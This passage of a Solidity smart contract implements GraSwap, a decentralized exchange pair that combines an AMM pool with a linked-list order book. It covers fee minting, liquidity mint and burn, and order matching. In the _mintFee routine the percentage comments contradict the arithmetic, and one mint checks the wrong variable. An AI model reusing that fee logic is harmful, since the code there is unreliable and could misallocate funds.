// solhint-disable-next-line avoid-low-level-calls
to.call{value: value, gas: 9000}(new bytes(0)); //we ignore its return value purposely
return;
}
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(_SELECTOR, to, value));
success = success && (data.length == 0 || abi.decode(data, (bool)));
if(!success) { // for failsafe
address graContractOwner = IGraSwapToken(graContract).owner();
// solhint-disable-next-line avoid-low-level-calls
(success, data) = token.call(abi.encodeWithSelector(_SELECTOR, graContractOwner, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), "GraSwap: TRANSFER_FAILED");
}
}
// Give feeToAddresses some liquidity tokens if K got increased since last liquidity-changing
function _mintFee(uint112 _reserve0, uint112 _reserve1, uint[5] memory proxyData) private returns (bool feeOn) {
address feeTo_1 = IGraSwapFactory(ProxyData.factory(proxyData)).feeTo_1();
address feeTo_2 = IGraSwapFactory(ProxyData.factory(proxyData)).feeTo_2();
address feeToPrivate = IGraSwapFactory(ProxyData.factory(proxyData)).feeToPrivate();
feeOn = (feeTo_1 != address(0) && feeTo_2 != address(0) && feeToPrivate != address(0));
uint kLast = _kLast;
// gas savings to use cached kLast
if (feeOn) {
if (kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast)).mul(_OS);
uint denominator = rootK.mul(_LS).add(rootKLast.mul(_OS));
uint liquidity = numerator / denominator;
if (liquidity > 0) {
uint liquidity_p1 = liquidity.div(4); // 10%
uint liquidity_p2 = liquidity.div(8); // 5%
uint liquidity_p3 = liquidity.mul(5).div(8); // 25%
if (liquidity_p1 > 0) {
_mint(feeTo_1, liquidity_p1);
}
if (liquidity_p2 > 0) {
_mint(feeTo_2, liquidity_p2);
}
if (liquidity_p2 > 0) {
_mint(feeToPrivate, liquidity_p3);
}
}
}
}
} else if (kLast != 0) {
_kLast = 0;
}
}
// mint new liquidity tokens to 'to'
function mint(address to) external override lock returns (uint liquidity) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+1));
(uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) = getReserves();
(uint112 bookedStock, uint112 bookedMoney, ) = getBooked();
uint stockBalance = _myBalance(ProxyData.stock(proxyData));
uint moneyBalance = _myBalance(ProxyData.money(proxyData));
require(stockBalance >= uint(bookedStock) + uint(reserveStock) &&
moneyBalance >= uint(bookedMoney) + uint(reserveMoney), "GraSwap: INVALID_BALANCE");
stockBalance -= uint(bookedStock);
moneyBalance -= uint(bookedMoney);
uint stockAmount = stockBalance - uint(reserveStock);
uint moneyAmount = moneyBalance - uint(reserveMoney);
bool feeOn = _mintFee(reserveStock, reserveMoney, proxyData);
uint _totalSupply = totalSupply;
// gas savings by caching totalSupply in memory,
// must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(stockAmount.mul(moneyAmount)).sub(_MINIMUM_LIQUIDITY);
_mint(address(0), _MINIMUM_LIQUIDITY);
// permanently lock the first _MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(stockAmount.mul(_totalSupply) / uint(reserveStock),
moneyAmount.mul(_totalSupply) / uint(reserveMoney));
}
require(liquidity > 0, "GraSwap: INSUFFICIENT_MINTED");
_mint(to, liquidity);
_setReserves(stockBalance, moneyBalance, firstSellID);
if (feeOn) _kLast = stockBalance.mul(moneyBalance);
emit Mint(msg.sender, (moneyAmount<<112)|stockAmount, to);
}
// burn liquidity tokens and send stock&money to 'to'
function burn(address to) external override lock returns (uint stockAmount, uint moneyAmount) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+1));
(uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) = getReserves();
(uint bookedStock, uint bookedMoney, ) = getBooked();
uint stockBalance = _myBalance(ProxyData.stock(proxyData)).sub(bookedStock);
uint moneyBalance = _myBalance(ProxyData.money(proxyData)).sub(bookedMoney);
require(stockBalance >= uint(reserveStock) && moneyBalance >= uint(reserveMoney), "GraSwap: INVALID_BALANCE");
bool feeOn = _mintFee(reserveStock, reserveMoney, proxyData);
{
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
uint liquidity = balanceOf[address(this)]; // we're sure liquidity < totalSupply
stockAmount = liquidity.mul(stockBalance) / _totalSupply;
moneyAmount = liquidity.mul(moneyBalance) / _totalSupply;
require(stockAmount > 0 && moneyAmount > 0, "GraSwap: INSUFFICIENT_BURNED");
//_burn(address(this), liquidity);
balanceOf[address(this)] = 0;
totalSupply = totalSupply.sub(liquidity);
emit Transfer(address(this), address(0), liquidity);
}
address graContract = ProxyData.graContract(proxyData);
_safeTransfer(ProxyData.stock(proxyData), to, stockAmount, graContract);
_safeTransfer(ProxyData.money(proxyData), to, moneyAmount, graContract);
stockBalance = stockBalance - stockAmount;
moneyBalance = moneyBalance - moneyAmount;
_setReserves(stockBalance, moneyBalance, firstSellID);
if (feeOn) _kLast = stockBalance.mul(moneyBalance);
emit Burn(msg.sender, (moneyAmount<<112)|stockAmount, to);
}
// take the extra money&stock in this pair to 'to'
function skim(address to) external override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+1));
address stockToken = ProxyData.stock(proxyData);
address moneyToken = ProxyData.money(proxyData);
(uint112 reserveStock, uint112 reserveMoney, ) = getReserves();
(uint bookedStock, uint bookedMoney, ) = getBooked();
uint balanceStock = _myBalance(stockToken);
uint balanceMoney = _myBalance(moneyToken);
require(balanceStock >= uint(bookedStock) + uint(reserveStock) &&
balanceMoney >= uint(bookedMoney) + uint(reserveMoney), "GraSwap: INVALID_BALANCE");
address graContract = ProxyData.graContract(proxyData);
_safeTransfer(stockToken, to, balanceStock-reserveStock-bookedStock, graContract);
_safeTransfer(moneyToken, to, balanceMoney-reserveMoney-bookedMoney, graContract);
}
// sync-up reserve stock&money in pool according to real balance
function sync() external override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
(, , uint32 firstSellID) = getReserves();
(uint bookedStock, uint bookedMoney, ) = getBooked();
uint balanceStock = _myBalance(ProxyData.stock(proxyData));
uint balanceMoney = _myBalance(ProxyData.money(proxyData));
require(balanceStock >= bookedStock && balanceMoney >= bookedMoney, "GraSwap: INVALID_BALANCE");
_setReserves(balanceStock-bookedStock, balanceMoney-bookedMoney, firstSellID);
}
}
contract GraSwapPair is GraSwapPool, IGraSwapPair {
// the orderbooks. Gas is saved when using array to store them instead of mapping
uint[1<<22] private _sellOrders;
uint[1<<22] private _buyOrders;
uint32 private constant _MAX_ID = (1<<22)-1; // the maximum value of an order ID
function _expandPrice(uint32 price32, uint[5] memory proxyData) private pure returns (RatPrice memory price) {
price = DecFloat32.expandPrice(price32);
price.numerator *= ProxyData.priceMul(proxyData);
price.denominator *= ProxyData.priceDiv(proxyData);
}
function _expandPrice(Context memory ctx, uint32 price32) private pure returns (RatPrice memory price) {
price = DecFloat32.expandPrice(price32);
price.numerator *= ctx.priceMul;
price.denominator *= ctx.priceDiv;
}
function symbol() external override returns (string memory) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
string memory s = "ETH";
address stock = ProxyData.stock(proxyData);
if(stock != address(0)) {
s = IERC20(stock).symbol();
}
string memory m = "ETH";
address money = ProxyData.money(proxyData);
if(money != address(0)) {
m = IERC20(money).symbol();
}
return string(abi.encodePacked(s, "/", m)); //to concat strings
}
// when emitting events, solidity's ABI pads each entry to uint256, which is so wasteful
// we compress the entries into one uint256 to save gas
function _emitNewLimitOrder(
uint64 addressLow, /*255~192*/
uint64 totalStockAmount, /*191~128*/
uint64 remainedStockAmount, /*127~64*/
uint32 price, /*63~32*/
uint32 orderID, /*31~8*/
bool isBuy /*7~0*/) private {
uint data = uint(addressLow);
data = (data<<64) | uint(totalStockAmount);
data = (data<<64) | uint(remainedStockAmount);
data = (data<<32) | uint(price);
data = (data<<32) | uint(orderID<<8);
if(isBuy) {
data = data | 1;
}
emit NewLimitOrder(data);
}
function _emitNewMarketOrder(
uint136 addressLow, /*255~120*/
uint112 amount, /*119~8*/
bool isBuy /*7~0*/) private {
uint data = uint(addressLow);
data = (data<<112) | uint(amount);
data = data<<8;
if(isBuy) {
data = data | 1;
}
emit NewMarketOrder(data);
}
function _emitOrderChanged(
uint64 makerLastAmount, /*159~96*/
uint64 makerDealAmount, /*95~32*/
uint32 makerOrderID, /*31~8*/
bool isBuy /*7~0*/) private {
uint data = uint(makerLastAmount);
data = (data<<64) | uint(makerDealAmount);
data = (data<<32) | uint(makerOrderID<<8);
if(isBuy) {
data = data | 1;
}
emit OrderChanged(data);
}
function _emitDealWithPool(
uint112 inAmount, /*131~120*/
uint112 outAmount,/*119~8*/
bool isBuy/*7~0*/) private {
uint data = uint(inAmount);
data = (data<<112) | uint(outAmount);
data = data<<8;
if(isBuy) {
data = data | 1;
}
emit DealWithPool(data);
}
function _emitRemoveOrder(
uint64 remainStockAmount, /*95~32*/
uint32 orderID, /*31~8*/
bool isBuy /*7~0*/) private {
uint data = uint(remainStockAmount);
data = (data<<32) | uint(orderID<<8);
if(isBuy) {
data = data | 1;
}
emit RemoveOrder(data);
}
// compress an order into a 256b integer
function _order2uint(Order memory order) internal pure returns (uint) {
uint n = uint(order.sender);
n = (n<<32) | order.price;
n = (n<<42) | order.amount;
n = (n<<22) | order.nextID;
return n;
}
// extract an order from a 256b integer
function _uint2order(uint n) internal pure returns (Order memory) {
Order memory order;
order.nextID = uint32(n & ((1<<22)-1));
n = n >> 22;
order.amount = uint64(n & ((1<<42)-1));
n = n >> 42;
order.price = uint32(n & ((1<<32)-1));
n = n >> 32;
order.sender = address(n);
return order;
}
// returns true if this order exists
function _hasOrder(bool isBuy, uint32 id) internal view returns (bool) {
if(isBuy) {
return _buyOrders[id] != 0;
} else {
return _sellOrders[id] != 0;
}
}
// load an order from storage, converting its compressed form into an Order struct
function _getOrder(bool isBuy, uint32 id) internal view returns (Order memory order, bool findIt) {
if(isBuy) {
order = _uint2order(_buyOrders[id]);
return (order, order.price != 0);
} else {
order = _uint2order(_sellOrders[id]);
return (order, order.price != 0);
}
}
// save an order to storage, converting it into compressed form
function _setOrder(bool isBuy, uint32 id, Order memory order) internal {
if(isBuy) {
_buyOrders[id] = _order2uint(order);
} else {
_sellOrders[id] = _order2uint(order);
}
}
// delete an order from storage
function _deleteOrder(bool isBuy, uint32 id) internal {
if(isBuy) {
delete _buyOrders[id];
} else {
delete _sellOrders[id];
}
}
function _getFirstOrderID(Context memory ctx, bool isBuy) internal pure returns (uint32) {
if(isBuy) {
return ctx.firstBuyID;
}
return ctx.firstSellID;
}
function _setFirstOrderID(Context memory ctx, bool isBuy, uint32 id) internal pure {
if(isBuy) {
ctx.firstBuyID = id;
} else {
ctx.firstSellID = id;
}
}
function removeOrders(uint[] calldata rmList) external override lock {
uint[5] memory proxyData;
uint expectedCallDataSize = 4+32*(ProxyData.COUNT+2+rmList.length);
ProxyData.fill(proxyData, expectedCallDataSize);
for(uint i = 0; i < rmList.length; i++) {
uint rmInfo = rmList[i];
bool isBuy = uint8(rmInfo) != 0;
uint32 id = uint32(rmInfo>>8);
uint72 prevKey = uint72(rmInfo>>40);
_removeOrder(isBuy, id, prevKey, proxyData);
}
}
function removeOrder(bool isBuy, uint32 id, uint72 prevKey) external override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+3));
_removeOrder(isBuy, id, prevKey, proxyData);
}
function _removeOrder(bool isBuy, uint32 id, uint72 prevKey, uint[5] memory proxyData) private {
Context memory ctx;
(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID) = getBooked();
if(!isBuy) {
(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID) = getReserves();
}
Order memory order = _removeOrderFromBook(ctx, isBuy, id, prevKey); // this is the removed order
require(msg.sender == order.sender, "GraSwap: NOT_OWNER");
uint64 stockUnit = ProxyData.stockUnit(proxyData);
uint stockAmount = uint(order.amount)/*42bits*/ * uint(stockUnit);
address graContract = ProxyData.graContract(proxyData);
if(isBuy) {
RatPrice memory price = _expandPrice(order.price, proxyData);
uint moneyAmount = stockAmount * price.numerator/*54+64bits*/ / price.denominator;
ctx.bookedMoney -= moneyAmount;
_safeTransfer(ProxyData.money(proxyData), order.sender, moneyAmount, graContract);
} else {
ctx.bookedStock -= stockAmount;
_safeTransfer(ProxyData.stock(proxyData), order.sender, stockAmount, graContract);
}
_setBooked(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID);
}
// remove an order from orderbook and return it
function _removeOrderFromBook(Context memory ctx, bool isBuy,
uint32 id, uint72 prevKey) internal returns (Order memory) {
(Order memory order, bool ok) = _getOrder(isBuy, id);
require(ok, "GraSwap: NO_SUCH_ORDER");
if(prevKey == 0) {
uint32 firstID = _getFirstOrderID(ctx, isBuy);
require(id == firstID, "GraSwap: NOT_FIRST");
_setFirstOrderID(ctx, isBuy, order.nextID);
if(!isBuy) {
_setReserves(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID);
}
} else {
(uint32 currID, Order memory prevOrder, bool findIt) = _getOrder3Times(isBuy, prevKey);
require(findIt, "GraSwap: INVALID_POSITION");
while(prevOrder.nextID != id) {
currID = prevOrder.nextID;
require(currID != 0, "GraSwap: REACH_END");
(prevOrder, ) = _getOrder(isBuy, currID);
}
prevOrder.nextID = order.nextID;
_setOrder(isBuy, currID, prevOrder);
}
_emitRemoveOrder(order.amount, id, isBuy);
_deleteOrder(isBuy, id);
return order;
}
// insert an order at the head of single-linked list
// this function does not check price, use it carefully
function _insertOrderAtHead(Context memory ctx, bool isBuy, Order memory order, uint32 id) private {
order.nextID = _getFirstOrderID(ctx, isBuy);
_setOrder(isBuy, id, order);
_setFirstOrderID(ctx, isBuy, id);
}
// prevKey contains 3 orders. try to get the first existing order
function _getOrder3Times(bool isBuy, uint72 prevKey) private view returns (
uint32 currID, Order memory prevOrder, bool findIt) {
currID = uint32(prevKey&_MAX_ID);
(prevOrder, findIt) = _getOrder(isBuy, currID);
if(!findIt) {
currID = uint32((prevKey>>24)&_MAX_ID);
(prevOrder, findIt) = _getOrder(isBuy, currID);
if(!findIt) {
currID = uint32((prevKey>>48)&_MAX_ID);
(prevOrder, findIt) = _getOrder(isBuy, currID);
}
}
}
// Given a valid start position, find a proper position to insert order
// prevKey contains three suggested order IDs, each takes 24 bits.
// We try them one by one to find a valid start position
// can not use this function to insert at head! if prevKey is all zero, it will return false
function _insertOrderFromGivenPos(bool isBuy, Order memory order,
uint32 id, uint72 prevKey) private returns (bool inserted) {
(uint32 currID, Order memory prevOrder, bool findIt) = _getOrder3Times(isBuy, prevKey);
if(!findIt) {
return false;
}
return _insertOrder(isBuy, order, prevOrder, id, currID);
}
// Starting from the head of orderbook, find a proper position to insert order
function _insertOrderFromHead(Context memory ctx, bool isBuy, Order memory order,
uint32 id) private returns (bool inserted) {
uint32 firstID = _getFirstOrderID(ctx, isBuy);
bool canBeFirst = (firstID == 0);
Order memory firstOrder;
if(!canBeFirst) {
(firstOrder, ) = _getOrder(isBuy, firstID);
canBeFirst = (isBuy && (firstOrder.price < order.price)) ||
(!isBuy && (firstOrder.price > order.price));
}
if(canBeFirst) {
order.nextID = firstID;
_setOrder(isBuy, id, order);
_setFirstOrderID(ctx, isBuy, id);
return true;
}
return _insertOrder(isBuy, order, firstOrder, id, firstID);
}
// starting from 'prevOrder', whose id is 'currID', find a proper position to insert order
function _insertOrder(bool isBuy, Order memory order, Order memory prevOrder,
uint32 id, uint32 currID) private returns (bool inserted) {
while(currID != 0) {
bool canFollow = (isBuy && (order.price <= prevOrder.price)) ||
(!isBuy && (order.price >= prevOrder.price));
if(!canFollow) {break;}
Order memory nextOrder;
if(prevOrder.nextID != 0) {
(nextOrder, ) = _getOrder(isBuy, prevOrder.nextID);
bool canPrecede = (isBuy && (nextOrder.price < order.price)) ||
(!isBuy && (nextOrder.price > order.price));
canFollow = canFollow && canPrecede;
}
if(canFollow) {
order.nextID = prevOrder.nextID;
_setOrder(isBuy, id, order);
prevOrder.nextID = id;
_setOrder(isBuy, currID, prevOrder);
return true;
}
currID = prevOrder.nextID;
prevOrder = nextOrder;
}
return false;
}
// to query the first sell price, the first buy price and the price of pool
function getPrices() external override returns (
uint firstSellPriceNumerator,
uint firstSellPriceDenominator,
uint firstBuyPriceNumerator,
uint firstBuyPriceDenominator,
uint poolPriceNumerator,
uint poolPriceDenominator) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
(uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) = getReserves();
poolPriceNumerator = uint(reserveMoney);
poolPriceDenominator = uint(reserveStock);
firstSellPriceNumerator = 0;
firstSellPriceDenominator = 0;
firstBuyPriceNumerator = 0;
firstBuyPriceDenominator = 0;
if(firstSellID!=0) {
uint order = _sellOrders[firstSellID];
RatPrice memory price = _expandPrice(uint32(order>>64), proxyData);
firstSellPriceNumerator = price.numerator;
firstSellPriceDenominator = price.denominator;
}
uint32 id = uint32(_bookedStockAndMoneyAndFirstBuyID>>224);
if(id!=0) {
uint order = _buyOrders[id];
RatPrice memory price = _expandPrice(uint32(order>>64), proxyData);
firstBuyPriceNumerator = price.numerator;
firstBuyPriceDenominator = price.denominator;
}
}
// Get the orderbook's content, starting from id, to get no more than maxCount orders
function getOrderList(bool isBuy, uint32 id, uint32 maxCount) external override view returns (uint[] memory) {
if(id == 0) {
if(isBuy) {
id = uint32(_bookedStockAndMoneyAndFirstBuyID>>224);
} else {
id = uint32(_reserveStockAndMoneyAndFirstSellID>>224);
}
}
uint[1<<22] storage orderbook;
if(isBuy) {
orderbook = _buyOrders;
} else {
orderbook = _sellOrders;
}
//record block height at the first entry
uint order = (block.number<<24) | id;
uint addrOrig; // start of returned data
uint addrLen; // the slice's length is written at this address
uint addrStart; // the address of the first entry of returned slice
uint addrEnd; // ending address to write the next order
uint count = 0; // the slice's length
// solhint-disable-next-line no-inline-assembly
assembly {
addrOrig := mload(0x40) // There is a “free memory pointer� at address 0x40 in memory
mstore(addrOrig, 32) //the meaningful data start after offset 32
}
addrLen = addrOrig + 32;
addrStart = addrLen + 32;
addrEnd = addrStart;
while(count < maxCount) {
// solhint-disable-next-line no-inline-assembly
assembly {
mstore(addrEnd, order) //write the order
}
addrEnd += 32;
count++;
if(id == 0) {break;}
order = orderbook[id];
require(order!=0, "GraSwap: INCONSISTENT_BOOK");
id = uint32(order&_MAX_ID);
}
// solhint-disable-next-line no-inline-assembly
assembly {
mstore(addrLen, count) // record the returned slice's length
let byteCount := sub(addrEnd, addrOrig)
return(addrOrig, byteCount)
}
}
// Get an unused id to be used with new order
function _getUnusedOrderID(bool isBuy, uint32 id) internal view returns (uint32) {
if(id == 0) { // 0 is reserved
// solhint-disable-next-line avoid-tx-origin
id = uint32(uint(blockhash(block.number-1))^uint(tx.origin)) & _MAX_ID; //get a pseudo random number
}
for(uint32 i = 0; i < 100 && id <= _MAX_ID; i++) { //try 100 times
if(!_hasOrder(isBuy, id)) {
return id;
}
id++;
}
require(false, "GraSwap: CANNOT_FIND_VALID_ID");
return 0;
}
function calcStockAndMoney(uint64 amount, uint32 price32) external pure override returns (uint stockAmount, uint moneyAmount) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+2));
(stockAmount, moneyAmount, ) = _calcStockAndMoney(amount, price32, proxyData);
}
function _calcStockAndMoney(uint64 amount, uint32 price32, uint[5] memory proxyData) private pure returns (uint stockAmount, uint moneyAmount, RatPrice memory price) {
price = _expandPrice(price32, proxyData);
uint64 stockUnit = ProxyData.stockUnit(proxyData);
stockAmount = uint(amount)/*42bits*/ * uint(stockUnit);
moneyAmount = stockAmount * price.numerator/*54+64bits*/ /price.denominator;
}
function addLimitOrder(bool isBuy, address sender, uint64 amount, uint32 price32,
uint32 id, uint72 prevKey) external payable override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+6));
require(ProxyData.isOnlySwap(proxyData)==false, "GraSwap: LIMIT_ORDER_NOT_SUPPORTED");
Context memory ctx;
ctx.stockUnit = ProxyData.stockUnit(proxyData);
ctx.graContract = ProxyData.graContract(proxyData);
ctx.factory = ProxyData.factory(proxyData);
ctx.stockToken = ProxyData.stock(proxyData);
ctx.moneyToken = ProxyData.money(proxyData);
ctx.priceMul = ProxyData.priceMul(proxyData);
ctx.priceDiv = ProxyData.priceDiv(proxyData);
ctx.hasDealtInOrderBook = false;
ctx.isLimitOrder = true;
ctx.order.sender = sender;
ctx.order.amount = amount;
ctx.order.price = price32;
ctx.newOrderID = _getUnusedOrderID(isBuy, id);
RatPrice memory price;
{// to prevent "CompilerError: Stack too deep, try removing local variables."
require((amount >> 42) == 0, "GraSwap: INVALID_AMOUNT");
uint32 m = price32 & DecFloat32.MANTISSA_MASK;
require(DecFloat32.MIN_MANTISSA <= m && m <= DecFloat32.MAX_MANTISSA, "GraSwap: INVALID_PRICE");
uint stockAmount;
uint moneyAmount;
(stockAmount, moneyAmount, price) = _calcStockAndMoney(amount, price32, proxyData);
if(isBuy) {
ctx.remainAmount = moneyAmount;
} else {
ctx.remainAmount = stockAmount;
}
}
require(ctx.remainAmount < uint(1<<112), "GraSwap: OVERFLOW");
(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID) = getReserves();
(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID) = getBooked();
_checkRemainAmount(ctx, isBuy);
if(prevKey != 0) { // try to insert it
bool inserted = _insertOrderFromGivenPos(isBuy, ctx.order, ctx.newOrderID, prevKey);
if(inserted) { // if inserted successfully, record the booked tokens
_emitNewLimitOrder(uint64(ctx.order.sender), amount, amount, price32, ctx.newOrderID, isBuy);
if(isBuy) {
ctx.bookedMoney += ctx.remainAmount;
} else {
ctx.bookedStock += ctx.remainAmount;
}
_setBooked(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID);
if(ctx.reserveChanged) {
_setReserves(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID);
}
return;
}
// if insertion failed, we try to match this order and make it deal
}
_addOrder(ctx, isBuy, price);
}
function addMarketOrder(address inputToken, address sender,
uint112 inAmount) external payable override lock returns (uint) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+3));
Context memory ctx;
ctx.moneyToken = ProxyData.money(proxyData);
ctx.stockToken = ProxyData.stock(proxyData);
require(inputToken == ctx.moneyToken || inputToken == ctx.stockToken, "GraSwap: INVALID_TOKEN");
bool isBuy = inputToken == ctx.moneyToken;
ctx.stockUnit = ProxyData.stockUnit(proxyData);
ctx.priceMul = ProxyData.priceMul(proxyData);
ctx.priceDiv = ProxyData.priceDiv(proxyData);
ctx.graContract = ProxyData.graContract(proxyData);
ctx.factory = ProxyData.factory(proxyData);
ctx.hasDealtInOrderBook = false;
ctx.isLimitOrder = false;
ctx.remainAmount = inAmount;
(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID) = getReserves();
(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID) = getBooked();
_checkRemainAmount(ctx, isBuy);
ctx.order.sender = sender;
if(isBuy) {
ctx.order.price = DecFloat32.MAX_PRICE;
} else {
ctx.order.price = DecFloat32.MIN_PRICE;
}
RatPrice memory price; // leave it to zero, actually it will not be used;
_emitNewMarketOrder(uint136(ctx.order.sender), inAmount, isBuy);
return _addOrder(ctx, isBuy, price);
}
// Check router contract did send me enough tokens.
// If Router sent to much tokens, take them as reserve money&stock
function _checkRemainAmount(Context memory ctx, bool isBuy) private view {
ctx.reserveChanged = false;
uint diff;
if(isBuy) {
uint balance = _myBalance(ctx.moneyToken);
require(balance >= ctx.bookedMoney + ctx.reserveMoney, "GraSwap: MONEY_MISMATCH");
diff = balance - ctx.bookedMoney - ctx.reserveMoney;
if(ctx.remainAmount < diff) {
ctx.reserveMoney += (diff - ctx.remainAmount);
ctx.reserveChanged = true;
}
} else {
uint balance = _myBalance(ctx.stockToken);
require(balance >= ctx.bookedStock + ctx.reserveStock, "GraSwap: STOCK_MISMATCH");
diff = balance - ctx.bookedStock - ctx.reserveStock;
if(ctx.remainAmount < diff) {
ctx.reserveStock += (diff - ctx.remainAmount);
ctx.reserveChanged = true;
}
}
require(ctx.remainAmount <= diff, "GraSwap: DEPOSIT_NOT_ENOUGH");
}
// internal helper function to add new limit order & market order
// returns the amount of tokens which were sent to the taker (from AMM pool and booked tokens)
function _addOrder(Context memory ctx, bool isBuy, RatPrice memory price) private returns (uint) {
(ctx.dealMoneyInBook, ctx.dealStockInBook) = (0, 0);
ctx.firstID = _getFirstOrderID(ctx, !isBuy);
uint32 currID = ctx.firstID;
ctx.amountIntoPool = 0;
while(currID != 0) { // while not reaching the end of single-linked
(Order memory orderInBook, ) = _getOrder(!isBuy, currID);
bool canDealInOrderBook = (isBuy && (orderInBook.price <= ctx.order.price)) ||
(!isBuy && (orderInBook.price >= ctx.order.price));
if(!canDealInOrderBook) {break;} // no proper price in orderbook, stop here
// Deal in liquid pool
RatPrice memory priceInBook = _expandPrice(ctx, orderInBook.price);
bool allDeal = _tryDealInPool(ctx, isBuy, priceInBook);
if(allDeal) {break;}
// Deal in orderbook
_dealInOrderBook(ctx, isBuy, currID, orderInBook, priceInBook);
// if the order in book did NOT fully deal, then this new order DID fully deal, so stop here
if(orderInBook.amount != 0) {
_setOrder(!isBuy, currID, orderInBook);
break;
}
// if the order in book DID fully deal, then delete this order from storage and move to the next
_deleteOrder(!isBuy, currID);
currID = orderInBook.nextID;
}
// Deal in liquid pool
if(ctx.isLimitOrder) {
// use current order's price to deal with pool
_tryDealInPool(ctx, isBuy, price);
// If a limit order did NOT fully deal, we add it into orderbook
// Please note a market order always fully deals
_insertOrderToBook(ctx, isBuy, price);
} else {
// the AMM pool can deal with orders with any amount
ctx.amountIntoPool += ctx.remainAmount; // both of them are less than 112 bits
ctx.remainAmount = 0;
}
uint amountToTaker = _dealWithPoolAndCollectFee(ctx, isBuy);
if(isBuy) {
ctx.bookedStock -= ctx.dealStockInBook; //If this subtraction overflows, _setBooked will fail
} else {
ctx.bookedMoney -= ctx.dealMoneyInBook; //If this subtraction overflows, _setBooked will fail
}
if(ctx.firstID != currID) { //some orders DID fully deal, so the head of single-linked list change
_setFirstOrderID(ctx, !isBuy, currID);
}
// write the cached values to storage
_setBooked(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID);
_setReserves(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID);
return amountToTaker;
}
// Given reserveMoney and reserveStock in AMM pool, calculate how much tokens will go into the pool if the
// final price is 'price'
function _intopoolAmountTillPrice(bool isBuy, uint reserveMoney, uint reserveStock,
RatPrice memory price) private pure returns (uint result) {
// sqrt(Pold/Pnew) = sqrt((2**32)*M_old*PnewDenominator / (S_old*PnewNumerator)) / (2**16)
// sell, stock-into-pool, Pold > Pnew
uint numerator = reserveMoney/*112bits*/ * price.denominator/*76+64bits*/;
uint denominator = reserveStock/*112bits*/ * price.numerator/*54+64bits*/;
if(isBuy) { // buy, money-into-pool, Pold < Pnew
// sqrt(Pnew/Pold) = sqrt((2**32)*S_old*PnewNumerator / (M_old*PnewDenominator)) / (2**16)
(numerator, denominator) = (denominator, numerator);
}
while(numerator >= (1<<192)) { // can not equal to (1<<192) !!!
numerator >>= 16;
denominator >>= 16;
}
require(denominator != 0, "GraSwapPair: DIV_BY_ZERO");
numerator = numerator * (1<<64);
uint quotient = numerator / denominator;
if(quotient <= (1<<64)) {
return 0;
} else if(quotient <= ((1<<64)*5/4)) {
// Taylor expansion: x/2 - x*x/8 + x*x*x/16
uint x = quotient - (1<<64);
uint y = x*x;
y = x/2 - y/(8*(1<<64)) + y*x/(16*(1<<128));
if(isBuy) {
result = reserveMoney * y;
} else {
result = reserveStock * y;
}
result /= (1<<64);
return result;
}
uint root = Math.sqrt(quotient); //root is at most 110bits
uint diff = root - (1<<32); //at most 110bits
if(isBuy) {
result = reserveMoney * diff;
} else {
result = reserveStock * diff;
}
result /= (1<<32);
return result;
}
// Current order tries to deal against the AMM pool. Returns whether current order fully deals.
function _tryDealInPool(Context memory ctx, bool isBuy, RatPrice memory price) private pure returns (bool) {
uint currTokenCanTrade = _intopoolAmountTillPrice(isBuy, ctx.reserveMoney, ctx.reserveStock, price);
require(currTokenCanTrade < uint(1<<112), "GraSwap: CURR_TOKEN_TOO_LARGE");
// all the below variables are less than 112 bits
if(!isBuy) {
currTokenCanTrade /= ctx.stockUnit; //to round
currTokenCanTrade *= ctx.stockUnit;
}
if(currTokenCanTrade > ctx.amountIntoPool) {
uint diffTokenCanTrade = currTokenCanTrade - ctx.amountIntoPool;
bool allDeal = diffTokenCanTrade >= ctx.remainAmount;
if(allDeal) {
diffTokenCanTrade = ctx.remainAmount;
}
ctx.amountIntoPool += diffTokenCanTrade;
ctx.remainAmount -= diffTokenCanTrade;
return allDeal;
}
return false;
}
// Current order tries to deal against the orders in book
function _dealInOrderBook(Context memory ctx, bool isBuy, uint32 currID,
Order memory orderInBook, RatPrice memory priceInBook) internal {
ctx.hasDealtInOrderBook = true;
uint stockAmount;
if(isBuy) {
uint a = ctx.remainAmount/*112bits*/ * priceInBook.denominator/*76+64bits*/;
uint b = priceInBook.numerator/*54+64bits*/ * ctx.stockUnit/*64bits*/;
stockAmount = a/b;
} else {
stockAmount = ctx.remainAmount/ctx.stockUnit;
}
if(uint(orderInBook.amount) < stockAmount) {
stockAmount = uint(orderInBook.amount);
}
